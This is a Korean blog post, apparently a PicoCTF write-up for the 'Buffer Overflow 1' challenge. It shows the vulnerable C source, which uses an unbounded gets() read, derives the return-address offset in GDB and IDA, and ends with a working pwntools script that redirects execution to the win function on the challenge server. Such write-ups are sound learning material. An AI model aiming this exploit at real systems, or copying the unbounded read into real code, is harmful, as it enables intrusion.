Pwnable/PicoCTF

-PicoCTF- Buffer Over Flow 1

KSJ._.seven11 2023. 3. 3. 00:23

문제의 소스코드는 다음과 같다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

 

보면 버퍼오버플로우를 일으켜서  RET 값을 위조하여 Cat flag 가 있는  win 함수부분으로 가서 플래그를 얻으면 되는 문제 같다.

 

먼저 GDB로 까봤다.

 

실행화면과 메인함수를 디스어셈블리한 결과다.

 

친절하게 입력한 값과 점핑 된 값을 보여준다.

 

 

보호기법 또한 친절하게 걸려있지 않으므로 이를 통해 페이로드를 구성하면 될 거 같다.

 

아이다에서 디스어셈블한 결과다. 딱히 gdb로 뜯어보았을 때랑 크게 다른 점은 없어 보인다.

 

아무쪼록 IDA를 통해 offset 을 구해보자면 main 함수 부분에서 ebp-14 에서 값을 하나 받는다. 하지만 해당 부분을 사용자를 통해 받지 않으므로 우리가 주목해 봐야할 부분은 따로 있는거 같다. 이후 gdb에서 다시 확인을 해보면 call vuln 함수 부분을 찾을 수 있으므로 아마도 우리가 버퍼를 채울 수 있는 수단인 입력 함수는 vuln 함수에 있는거 같아 디컴파일 해 봤다.

vuln 함수를 디컴파일 한 결과이다.

 

v3을 입력 받고 ebp 위에 0x4 만큼 위에 있는 값을 확인할 수 있다.

 

이를통해 둘이 오프셋을 구할 수 있지 않을까 생각해 보았다.

 

0x2C - (-0x4) == 0x30 == 48

으로 오프셋 값은 48로 나왔다.

 

이후 gdb에서 패턴을 생성하며 ret 함수까지 오프셋을 구해보면 

 

 

이를 통해 RET 까지 거리는 48이라는 걸 확인할 수 있다.

 

48 -4 == 44 거리에 해당 프로그램에서 알려주는 점프되는 값을 win 함수의 주소로 값을 넣어준다면 해당 주소로 이동하여 플래그를 실행시킬 수 있을 것이다. 그렇게 짠 페이로드는 다음과 같다.

from pwn import *

p = remote("saturn.picoctf.net", 52253)

offset = 44

flag_addr = 0x080491f6
payload = b'A' * 44 + p32(flag_addr) + b'B' * 4


p.recvuntil("Please enter your string:")
p.sendline(payload)
p.recvuntil("Okay, time to return... Fingers Crossed... Jumping to")
data = p.recv(100)


print(data)

 

 

야호 성공이다 !